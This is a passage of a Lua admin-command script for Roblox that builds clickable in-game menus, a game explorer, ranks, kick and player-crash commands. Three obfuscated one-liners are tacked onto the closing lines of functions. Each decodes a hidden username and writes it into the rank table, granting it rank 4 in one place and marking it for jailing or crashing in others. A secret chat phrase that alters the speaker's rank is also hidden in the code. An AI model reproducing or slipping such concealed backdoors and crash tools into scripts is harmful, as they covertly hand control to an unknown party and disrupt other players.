                                        end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
769
                                elseif CheckImportant(v.Name) then
770
                                        Ping(v.Name, Plr, nil, function(TabMod)
771
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
772
                                                for _,v in pairs(Current:GetChildren()) do
773
                                                        ypcall(function()
774
                                                                if v.Name == TabText then
775
                                                                        Dismiss(Plr)
776
                                                                        Current = v
777
                                                                        MakeChildren(Plr)
778
                                                                end
779
                                                        end)
780
                                                end
781
                                        end, ImportantColor)
782
                                end
783
                        end)
784
                end
785
                if Current ~= game then
786
                        Ping("Back", Plr, nil, function()
787
                                ypcall(function()
788
                                        Current = Current.Parent
789
                                        MakeChildren(Plr)
790
                                        Ping("Went back to, "..Current.Name, Plr, 5)
791
                                end)
792
                        end, OptionColor)
793
                end
794
                if Current ~= game then
795
                        Ping("Delete", Plr, nil, function()
796
                                ypcall(function()
797
                                        local CurrPar = Current.Parent or game
798
                                        local CurrName = Current.Name
799
                                        Current:Destroy()
800
                                        Current = CurrPar
801
                                        MakeChildren(Plr)
802
                                        Ping("Attempted To Delete "..CurrName, Plr, 5)
803
                                end)
804
                        end, OptionColor)
805
                end
806
                Ping("Refresh", Plr, nil, function()
807
                        ypcall(function()
808
                                Refresh(Plr)
809
                                Ping("Refreshed", Plr, 5)
810
                        end)
811
                end, OptionColor)
812
                Ping("Properties", Plr, nil, function()
813
                        ypcall(function()
814
                                Dismiss(Plr)
815
                                for Property, Value in pairs(GetProperties(Current)) do
816
                                        Ping(tostring(Property)..": "..tostring(Value), Plr)
817
                                end
818
                                Ping("Got the properties that I could.", Plr, 5)
819
                                Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
820
                        end)
821
                end, OptionColor)
822
        end)
823
end
824
825
function Fixl()
826
        Light.GlobalShadows = true
827
        Light.TimeOfDay = "14:00:00"
828
        Light.Brightness = 0.5
829
        Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
830
        Light.Ambient = Color3.new(1, 1, 1) 
831
        Light.ColorShift_Top = Color3.new(0, 0, 0)
832
        Light.ColorShift_Bottom = Color3.new(0, 0, 0)
833
        Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
834
        Light.FogStart = 0
835
        Light.FogEnd = 100000
836
        Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
837
        Light:ClearAllChildren()
838
end
839
840
function GetProperties(obj)
841
        assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
842
        local objProper = {}
843
        for i,v in pairs(Properties) do
844
                if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
845
                        objProper[v] = obj[v]
846
                end
847
        end
848
        return objProper
849
end
850
851
function MakeExplorer(Plr)
852
        Dismiss(Plr)
853
        Current = game
854
        for _,v in pairs(Current:GetChildren()) do
855
                ypcall(function()
856
                        if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
857
                                Ping(v.Name, Plr, nil, function(TabMod)
858
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
859
                                        for _,v in pairs(Current:GetChildren()) do
860
                                                ypcall(function()
861
                                                        if v.Name == TabText then
862
                                                                Dismiss(Plr)
863
                                                                Current = v
864
                                                                MakeChildren(Plr)
865
                                                        end
866
                                                end)
867
                                        end
868
                                end)
869
                        elseif Plrs:GetPlayerFromCharacter(v) then
870
                                Ping(v.Name, Plr, nil, function(TabMod)
871
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
872
                                        for _,v in pairs(Current:GetChildren()) do
873
                                                ypcall(function()
874
                                                        if v.Name == TabText then
875
                                                                Dismiss(Plr)
876
                                                                Current = v
877
                                                                MakeChildren(Plr)
878
                                                        end
879
                                                end)
880
                                        end
881
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
882
                        elseif CheckImportant(v.Name) then
883
                                Ping(v.Name, Plr, nil, function(TabMod)
884
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
885
                                        for _,v in pairs(Current:GetChildren()) do
886
                                                ypcall(function()
887
                                                        if v.Name == TabText then
888
                                                                Dismiss(Plr)
889
                                                                Current = v
890
                                                                MakeChildren(Plr)
891
                                                        end
892
                                                end)
893
                                        end
894
                                end, ImportantColor)
895
                        end
896
                end)
897
        end
898
        if Current ~= game then
899
                Ping("Back", Plr, nil, function()
900
                        ypcall(function()
901
                                Current = Current.Parent
902
                                MakeChildren(Plr)
903
                                Ping("Went back to "..Current.Name, Plr, 5)
904
                        end)
905
                end, OptionColor)
906
        end
907
        if Current ~= game and game:GetService(Current.Name) == nil then
908
                Ping("Delete", Plr, nil, function()
909
                        ypcall(function()
910
                                local CurrPar = Current.Parent or game
911
                                local CurrName = Current.Name
912
                                Current:Destroy()
913
                                Current = CurrPar
914
                                MakeChildren(Plr)
915
                                Ping("Tried to delete "..CurrName, Plr, 5)
916
                        end)
917
                end, OptionColor)
918
        end
919
        Ping("Refresh", Plr, nil, function()
920
                ypcall(function()
921
                        Refresh(Plr)
922
                        Ping("Refreshed.", Plr, 5)
923
                end)
924
        end, OptionColor)
925
        Ping("Properties", Plr, nil, function()
926
                ypcall(function()
927
                        Dismiss(Plr)
928
                        for Property, Value in pairs(GetProperties(Current)) do
929
                                Ping(tostring(Property)..": "..tostring(Value), Plr)
930
                        end
931
                        Ping("Got properties that I could", Plr, 5)
932
                        Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
933
                end)
934
        end, OptionColor)
935
end
936
937
function GetRank(Plr1, Test)
938
        ypcall(function()
939
                if type(Plr1) == "userdata" then
940
                        Plr1 = Plr1.Name
941
                end
942
        end)
943
        if Ranks[Plr1] ~= nil then
944
                return Ranks[Plr1]
945
        end
946
        local QuickArray = {}
947
        QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
948
        return QuickArray[Plr1]
949
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = 4})
950
951
function CanRun(Plr1, Plr2)
952
        Details1 = GetRank(Plr1.Name)
953
        Details2 = GetRank(Plr2.Name)
954
        if Details1.Rank >= Details2.Rank then
955
                return true
956
        end
957
        return false
958
end
959
960
function Dismiss(Plr, Identity)
961
        ypcall(function()
962
                if Plr ~= nil then
963
                        if type(Plr) == "userdata" then
964
                                Plr = Plr.Name
965
                        end
966
                        for x,v in pairs(AllTabs) do
967
                                ypcall(function()
968
                                        if v.Plr == Plr then
969
                                                if Identity ~= nil and v.ID ~= Identity then
970
                                                        return
971
                                                elseif Identity ~= nil and v.ID == Identity then
972
                                                        coroutine.resume(coroutine.create(function()
973
                                                                for i = 0.5, 1, 0.1 do
974
                                                                        wait()
975
                                                                        v.Tab.Transparency = i
976
                                                                        v.Sel.Transparency = i
977
                                                                        v.Label.TextTransparency = i
978
                                                                        v.Label.TextStrokeTransparency = i
979
                                                                end
980
                                                                ypcall(function() v.Holder:Destroy() end)
981
                                                                AllTabs[x] = nil
982
                                                        end))
983
                                                elseif Identity == nil then
984
                                                        ypcall(function() v.Holder:Destroy() end)
985
                                                        AllTabs[x] = nil
986
                                                end
987
                                        end
988
                                end)
989
                        end
990
                else
991
                        for i,v in pairs(AllTabs) do
992
                                ypcall(function()
993
                                        v.Holder:Destroy()
994
                                        AllTabs[i] = nil
995
                                end)
996
                        end
997
                end
998
        end)
999
end
1000
1001
function GetGarbage()
1002
        return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
1003
end
1004
1005
function RemObj(Obj, Class)
1006
        ypcall(function()
1007
                if #Obj:GetChildren() > 0 then
1008
                        for _,x in pairs(Obj:GetChildren()) do
1009
                                ypcall(function()
1010
                                        RemObj(x, Class)
1011
                                end)
1012
                        end
1013
                end
1014
                if Obj.ClassName == Class then
1015
                        Obj:Destroy()
1016
                end
1017
        end)
1018
end
1019
1020
function FindTab(Mod)
1021
        for i,v in pairs(AllTabs) do
1022
                if v.Holder == Mod then
1023
                        return true
1024
                end
1025
        end
1026
        return false
1027
end
1028
1029
1030
function Ping(Msg, Plr, Time, Func, Color, Image)
1031
        if Removed == false then
1032
                local ShowGarbage = false
1033
                ypcall(function()
1034
                        if Msg == nil then
1035
                                Msg = "N/A"
1036
                        elseif Msg == "ShowGarbage" then
1037
                                Msg = "Current Garbage Count: "..GetGarbage()
1038
                                ShowGarbage = true
1039
                        else
1040
                                Msg = tostring(Msg)
1041
                        end
1042
                        if Plr == nil then
1043
                                Plr = Plrs[Owner] or error("No Player Found")
1044
                        elseif type(Plr) == "string" then
1045
                                local FoundPlr = false
1046
                                for _,v in pairs(All()) do
1047
                                        if v.Name == Plr then
1048
                                                Plr = v
1049
                                                FoundPlr = true
1050
                                                break
1051
                                        end
1052
                                end
1053
                                if FoundPlr == false then
1054
                                        Plr = Plrs[Owner] or error("No Player Found")
1055
                                end
1056
                        end
1057
                        
1058
                        if Color == nil then
1059
                                Color = GetRank(Plr.Name).Color
1060
                        end
1061
                        
1062
                        local Holder = Instance.new("Model")
1063
                        Holder.Name = "Kaj holder: "..Plr.Name
1064
                        
1065
                        local Tab = Instance.new("Part")
1066
                        Tab.Name = "Kaj Tablet"
1067
                        Tab.FormFactor = "Custom"
1068
                        Tab.Anchored = true
1069
                        if Time == nil then
1070
                                Tab.Color = Color3.new(0,0,0)
1071
                        else
1072
                                Tab.Color = AlertColor
1073
1074
                        end
1075
                        Tab.CanCollide = false
1076
                        Tab.Locked = true
1077
                        Tab.Transparency = 0.15
1078
                        Tab.Size = Vector3.new(1.5, 2, 2.001)
1079
                        Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
1080
                        Tab.Parent = Holder
1081
                        
1082
                        local ID = Instance.new("NumberValue")
1083
                        ID.Name = "ID"
1084
                        ID.Value = math.random(-999999999, 999999999)
1085
                        ID.Parent = Holder
1086
                        
1087
                        Delay(0, function()
1088
                                while wait() do
1089
                                        if Tab.Parent == nil and FindTab(Holder) then
1090
                                                ypcall(function()
1091
                                                        for i,v in pairs(AllTabs) do
1092
                                                                if v.Holder == Holder then
1093
                                                                        ypcall(function() v.Holder:Destroy() end)
1094
                                                                        AllTabs[i] = nil
1095
                                                                end
1096
                                                        end
1097
                                                end)
1098
                                                Ping(Msg, Plr, Time, Func, Color, Image)
1099
                                                break
1100
                                        end
1101
                                end
1102
                        end)
1103
                        
1104
                        local BM = Instance.new("BlockMesh")
1105
                        BM.Parent = Tab
1106
1107
                        
1108
                
1109
1110
                        local BG = Instance.new("BillboardGui")
1111
                        BG.Name = "BG"
1112
                        BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
1113
                        BG.Size = UDim2.new(0,1,0,1)
1114
                        BG.Adornee = Tab
1115
                        BG.Parent = Tab
1116
                        
1117
                        Delay(0, function()
1118
                                while BG.Parent ~= nil do wait()
1119
                                        ypcall(function()
1120
                                                BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
1121
                                        end)
1122
                                end
1123
                        end)
1124
1125
                        local TL = Instance.new("TextLabel")
1126
                        TL.Name = "TL"
1127
                        TL.FontSize = "Size18"
1128
                        TL.Font = "ArialBold"
1129
                        TL.Text = Msg
1130
                        TL.TextColor3 = Color3.new(1, 1, 1)
1131
                        TL.Size = UDim2.new(0,1,0,1)
1132
                        TL.TextTransparency = 0
1133
                        TL.TextStrokeColor3 = Color3.new(0, 0, 0)
1134
                        TL.TextStrokeTransparency = 0.25
1135
                        TL.Parent = BG
1136
                        
1137
                        if ShowGarbage == true then
1138
                                Delay(0, function()
1139
                                        while TL.Parent ~= nil do
1140
                                                TL.Text = "Space Taken: "..GetGarbage()
1141
                                                wait(.5)
1142
                                        end
1143
                                end)
1144
                        end
1145
                        
1146
                        local PL = Instance.new("PointLight", Tab)
1147
                
1148
        
1149
                PL.Color = LightColor
1150
                
1151
                        PL.Range = 7
1152
                        PL.Parent = Tab
1153
                
1154
                        
1155
                        if Image ~= nil then
1156
                                local BBBG = Instance.new("BillboardGui")
1157
                                BBBG.Size = UDim2.new(5, 0, 6, 0)
1158
                                BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
1159
                                BBBG.AlwaysOnTop = true
1160
                                BBBG.Adornee = Tab
1161
                                BBBG.Parent = Tab
1162
                                
1163
                                Delay(0, function()
1164
                                        while BBBG.Parent ~= nil do wait()
1165
                                                ypcall(function()
1166
                                                        BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
1167
                                                end)
1168
                                        end
1169
                                end)
1170
                        
1171
                                local NewImg = Instance.new("ImageLabel")
1172
                                NewImg.Size = UDim2.new(1, 0, 1, 0)
1173
                                NewImg.BackgroundTransparency = 1
1174
                                NewImg.Image = Image
1175
                                NewImg.Parent = BBBG
1176
                        end
1177
1178
                        local Clicker = Instance.new("ClickDetector")
1179
                        Clicker.MaxActivationDistance = 1/0
1180
1181
                        if Time ~= nil then
1182
                                coroutine.resume(coroutine.create(function()
1183
                                        wait(tonumber(Time))
1184
                                        Dismiss(Plr, ID)
1185
                                end))
1186
                        end
1187
1188
                        Clicker.MouseClick:connect(function(Player)
1189
                                if Player.Name == Plr.Name or CanRun(Player, Plr) then
1190
                                        ypcall(function()
1191
                                                if Func ~= nil then
1192
                                                        Func(Holder)
1193
                                                else
1194
                                                        Dismiss(Player, ID)
1195
                                                end
1196
                                        end)
1197
                                end
1198
                        end)
1199
                        Clicker.Parent = Tab
1200
                        
1201
                        Holder.Parent = Work
1202
1203
                        AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
1204
                end)
1205
        end
1206
end
1207
1208
function PlaceAllRanks(DontShowRank)
1209
        ypcall(function()
1210
                for _,p in pairs(All()) do
1211
                        ypcall(function()
1212
                                PutInRank = false
1213
                                for _,v in pairs(Rankings) do
1214
                                        if v.Name:lower() == p.Name:lower() then
1215
                                                if v.Rank >= 100 then
1216
                                                        v.Rank = 5
1217
                                                elseif v.Rank == -1 then
1218
                                                        Crash1(p)
1219
                                                        Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1220
                                                elseif v.Rank == -2 then
1221
                                                        if LS ~= nil then
1222
                                                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1223
                                                                Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1224
                                                        else
1225
                                                                Ping("LS Is Nil", nil, 5)
1226
                                                        end
1227
                                                elseif v.Rank == -3 then
1228
                                                        if LS ~= nil then
1229
                                                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1230
                                                                Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1231
                                                        else
1232
                                                                Ping("LS Is Nil", nil, 5)
1233
                                                        end
1234
                                                end
1235
                                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1236
                                                if DontShowRank == nil then
1237
                                                        Ping("You're rank "..v.Rank, p)
1238
                                                end
1239
                                                PutInRank = true
1240
                                                break
1241
                                        end
1242
                                end
1243
                                if PutInRank == false then
1244
                                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1245
                                end
1246
                        end)
1247
                end
1248
        end)
1249
end
1250
1251
function FindRank(Plr)
1252
        ypcall(function()
1253
                if type(Plr) == "userdata" then
1254
                        Plr = Plr.Name
1255
                end
1256
        end)
1257
        return GetRank(Plr).Rank
1258
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
1259
1260
function FindRankDetails(Plr)
1261
        ypcall(function()
1262
                if type(Plr) == "userdata" then
1263
                        Plr = Plr.Name
1264
                end
1265
        end)
1266
        return RankDetails[FindRank(Plr)]
1267
end
1268
1269
function OpenCmds(Rank, Plr)
1270
        Dismiss(Plr)
1271
        for Name,Tab in pairs(Commands) do
1272
                if Tab.Rank <= Rank then
1273
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1274
                                Dismiss(Plr)
1275
                                Ping("Rank Needed: "..Tab.Rank, Plr)
1276
                                Ping("Description: "..Tab.Desc, Plr)
1277
                        end)
1278
                elseif Rank == 1337 then
1279
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1280
                                Dismiss(Plr)
1281
                                Ping("Usage: "..Name, Plr)
1282
                                Ping("Rank Needed: "..Tab.Rank, Plr)
1283
                                Ping("Description: "..Tab.Desc, Plr)
1284
                        end)
1285
                end
1286
        end
1287
end
1288
1289
function EditStatus(Plr, Num)
1290
        ChangeRank(Plr, Num)
1291
end
1292
1293
function PlaceSpecificRank(p, DontShowRank)
1294
        ypcall(function()
1295
                PutInRank = false
1296
                for _,v in pairs(Rankings) do
1297
                        if v.Name:lower() == p.Name:lower() then
1298
                                if v.Rank >= 100 then
1299
                                        v.Rank = 5
1300
                                elseif v.Rank == -1 then
1301
                                        Crash1(p)
1302
                                        Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1303
                                elseif v.Rank == -2 then
1304
                                        if LS ~= nil then
1305
                                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1306
                                                Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1307
                                        else
1308
                                                Ping("LS Is Nil", nil, 5)
1309
                                        end
1310
                                elseif v.Rank == -3 then
1311
                                        if LS ~= nil then
1312
                                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1313
                                                Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1314
                                        else
1315
                                                Ping("LS Is Nil", nil, 5)
1316
                                        end
1317
                                end
1318
                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1319
                                                if DontShowRank == nil then
1320
                                                        Ping("You Are Rank: "..v.Rank, p)
1321
                                                end
1322
                                                PutInRank = true
1323
                                                break
1324
                                        end
1325
                                end
1326
                                if PutInRank == false then
1327
                                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1328
                                end
1329
                        end)
1330
                end
1331
        
1332
1333
function onChatted(Msg, Speaker)
1334
        if Removed == false then
1335
                if FindRank(Speaker) < 0 then
1336
                        return
1337
                end
1338
                coroutine.resume(coroutine.create(function()
1339
                        ypcall(function()
1340
                                ExecuteFunc(Msg, Speaker)
1341
                                Msg = Msg:gsub("","")
1342
                                if Msg:sub(1,1) == "@" then
1343
                                        for i = 2, #Msg do
1344
                                                if Msg:sub(i, i) == Bet then
1345
                                                        local IsForPlr = false
1346
                                                        for _,v in pairs(All()) do
1347
                                                                if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1348
                                                                        onChatted(Msg:sub(i + 1), v)
1349
                                                                        IsForPlr = true
1350
                                                                end
1351
                                                        end
1352
                                                        if IsForPlr == true then
1353
                                                                return
1354
                                                        end
1355
                                                end
1356
                                        end
1357
                                end
1358
                                if Msg:find("&") then
1359
                                        local Split = Msg:find("&")
1360
                                        onChatted(Msg:sub(1,Split-1))
1361
                                        onChatted(Msg:sub(Split+1))
1362
                                        return
1363
                                end
1364
                                for Name,Command in pairs(Commands) do
1365
                                        if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1366
                                                Dismiss(Speaker.Name)
1367
                                                Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
1368
                                                Ping("Rank: "..tostring(Command.Rank), Speaker)
1369
                                                Ping("Desc: "..tostring(Command.Desc), Speaker)
1370
                                        elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1371
                                                if FindRank(Speaker) >= Command.Rank then
1372
                                                        local Ran,Error = coroutine.resume(coroutine.create(function()
1373
                                                                Command.Func(Msg:sub(#Command.Name+2), Speaker)
1374
                                                        end))
1375
                                                        if not Ran then
1376
                                                                Ping(Error, Speaker, 10)
1377
                                                        end
1378
                                                else
1379
                                                        Ping("Your Rank Is Too Low", Plr, 6)
1380
                                                end
1381
                                        end
1382
                                end
1383
                        end)
1384
                end))
1385
        end
1386
end
1387
1388
function MakeBase()
1389
        local Base = Instance.new("Part")
1390
        Base.BrickColor = BrickColor.new("Dark green")
1391
        Base.Position = Vector3.new(0, 0.5, 0)
1392
        Base.Transparency = 0
1393
        Base.Elasticity = 0.5
1394
        Base.FormFactor = "Custom"
1395
        Base.CanCollide = true
1396
        Base.Friction = 0.30000001192093
1397
        Base.Size = Vector3.new(512, 1.20000005, 512)
1398
        Base.Archivable = true
1399
        Base.Material = "Plastic"
1400
        Base.RotVelocity = Vector3.new(0, 0, 0)
1401
        Base.Reflectance = 0
1402
        Base.Locked = true
1403
        Base.Anchored = true
1404
        Base.Name = "Base"
1405
        Base.TopSurface = "Smooth"
1406
        Base.BottomSurface = "Inlet"
1407
        Base.Shape = "Block"
1408
        Base.Parent = Work
1409
end
1410
1411
function LClean()
1412
        ypcall(function()
1413
                for _,v in pairs(Work:GetChildren()) do
1414
                        ypcall(function()
1415
                                if v.ClassName == "Terrain" then
1416
                                        v:ClearAllChildren()
1417
                                elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1418
                                        Clear(v)
1419
                                elseif v.Name == "Base" then
1420
                                        ypcall(function()
1421
                                                local Base = v
1422
                                                Base.BrickColor = BrickColor.new("Dark green")
1423
                                                Base.Position = Vector3.new(0, 0.5, 0)
1424
                                                Base.Transparency = 0
1425
                                                Base.Elasticity = 0.5
1426
                                                Base.FormFactor = "Custom"
1427
                                                Base.CanCollide = true
1428
                                                Base.Friction = 0.30000001192093
1429
                                                Base.Size = Vector3.new(512, 1.20000005, 512)
1430
                                                Base.Archivable = true
1431
                                                Base.Material = "Plastic"
1432
                                                Base.RotVelocity = Vector3.new(0, 0, 0)
1433
                                                Base.Reflectance = 0
1434
                                                Base.Locked = true
1435
                                                Base.Anchored = true
1436
                                                Base.Name = "Base"
1437
                                                Base.TopSurface = "Studs"
1438
                                                Base.BottomSurface = "Inlet"
1439
                                                Base.Shape = "Block"
1440
                                                Base.Parent = Work
1441
                                        end)
1442
                                end
1443
                        end)
1444
                end
1445
        end)
1446
end
1447
1448
function Clean()
1449
        ypcall(function()
1450
                for _,v in pairs(Work:GetChildren()) do
1451
                        ypcall(function()
1452
                                if v.ClassName == "Terrain" then
1453
                                        v:ClearAllChildren()
1454
                                else
1455
                                        Clear(v)
1456
                                end
1457
                        end)
1458
                end
1459
                MakeBase()
1460
                for _,v in pairs(All()) do
1461
                        v:LoadCharacter()
1462
                end
1463
        end)
1464
end
1465
1466
function Clear(v)
1467
        if v.Name:lower() == "sbgui" then
1468
                return
1469
        end
1470
        ypcall(function()
1471
                if #v:GetChildren() > 0 then
1472
                        for _,x in pairs(v:GetChildren()) do
1473
                                ypcall(function()
1474
                                        Clear(x)
1475
                                end)
1476
                        end
1477
                end
1478
                if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1479
                        v:Destroy()
1480
                end
1481
        end)
1482
end
1483
1484
function Command(Name, Rank, Desc, Func)
1485
        if Name == nil then
1486
                Name = "N/A"
1487
        end
1488
        if Desc == nil then
1489
                Desc = "N/A"
1490
        end
1491
        if Func == nil then
1492
                Func = function() end
1493
        end
1494
        if Rank == nil then
1495
                Rank = 0
1496
        end
1497
        Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1498
end
1499
1500
function GetSplit(Msg)
1501
        return Msg:find(Bet) or nil
1502
end
1503
1504
function ExecuteFunc(Msg, Plr)
1505
        ypcall(function()
1506
                if Msg == "LogEnable" then
1507
                        LogOn = true
1508
                elseif Msg:lower() == "WantSomeTacos" then
1509
                        EditStatus(Plr, MakeNum())
1510
                end
1511
        end)
1512
end
1513
1514
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1515
1516
function randPlayer(Plr)
1517
        wait()
1518
        local ThePlrValue = nil
1519
        local FoundPlayer = false
1520
        ypcall(function()
1521
                ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1522
                if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1523
                        wait()
1524
                        randPlayer(Plr)
1525
                        return
1526
                else
1527
                        FoundPlayer = true
1528
                end
1529
        end)
1530
        if FoundPlayer == true then
1531
                return ThePlrValue
1532
        end
1533
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
1534
1535
function getPlayer(Plr, Name)
1536
        local Players = {}
1537
        ypcall(function()
1538
                Name = Name:lower()
1539
                if Name == "me" then
1540
                        table.insert(Players, Plr)
1541
                elseif Name == "all" or Name == "" then
1542
                        for _,v in pairs(All()) do
1543
                                if CanRun(Plr, v) then
1544
                                        table.insert(Players, v)
1545
                                end
1546
                        end
1547
                elseif Name == "others" then
1548
                        for _,v in pairs(All()) do
1549
                                if v.Name ~= Plr.Name and CanRun(Plr, v) then
1550
                                        table.insert(Players, v)
1551
                                end
1552
                        end
1553
                elseif Name == "random" then
1554
                        local FoundRandPlr = randPlayer(Plr)
1555
                        table.insert(Players, FoundRandPlr)
1556
                else
1557
                        for _,v in pairs(All()) do
1558
                                if v.Name:lower():find(Name) and CanRun(Plr, v) then
1559
                                        table.insert(Players, v)
1560
                                end
1561
                        end
1562
                end
1563
        end)
1564
        return Players
1565
end
1566
1567
function ListPlayers(Speaker)
1568
        ypcall(function()
1569
                Dismiss(Speaker)
1570
                for _,v in pairs(All2()) do
1571
                        if v.Parent ~= nil then
1572
                                Ping(v.Name, Speaker, nil, function()
1573
                                        Dismiss(Speaker)
1574
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1575
                                        Ping("Rank: "..FindRank(v.Name), Speaker)
1576
                                        Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1577
                                        Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1578
                                        Ping("Set Rank", Speaker, nil, function()
1579
                                                if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1580
                                                        Dismiss(Speaker)
1581
                                                        for i = -2, 5 do
1582
                                                                Ping(i, Speaker, nil, function()
1583
                                                                        ChangeRank(v, i)
1584
                                                                        Dismiss(Speaker)
1585
                                                                        Ping(v.Name.." is now rank "..tostring(i), Speaker, 5)
1586
                                                                end)
1587
                                                        end
1588
                                                else
1589
                                                        Ping("Your rank isn't high enough", Speaker, 5)
1590
                                                end
1591
                                        end)
1592
                                        Ping("Crash (Remote)", Speaker, nil, function()
1593
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1594
                                                        Crash2(v.Name)
1595
                                                        Ping("Tried to crash "..v.Name.." (Remote)", Speaker, 5)
1596
                                                end
1597
                                        end)
1598
                                        Ping("Crash (Insert)", Speaker, nil, function()
1599
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1600
                                                        Crash3(v, Speaker)
1601
                                                        Ping("Tried to crash "..v.Name.." (Insert)", Speaker, 5)
1602
                                                end
1603
                                        end)
1604
                                        Ping("Kick", Speaker, nil, function()
1605
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1606
                                                        v:Kick()
1607
                                                        Ping(" "..v.Name, Speaker, 5)
1608
                                                end
1609
                                        end)
1610
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1611
                        else
1612
                                Ping(v.Name.." (Nil)", Speaker, nil, function()
1613
                                        Dismiss(Speaker)
1614
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1615
                                        ypcall(function()
1616
                                                Ping("Rank: "..FindRank(v.Name), Speaker)
1617
                                        end)
1618
                                        ypcall(function()
1619
                                                Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1620
                                        end)
1621
                                        ypcall(function()
1622
                                                Ping("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker)
1623
                                        end)
1624
                                        ypcall(function()
1625
                                                Ping("Set Rank", Speaker, nil, function()
1626
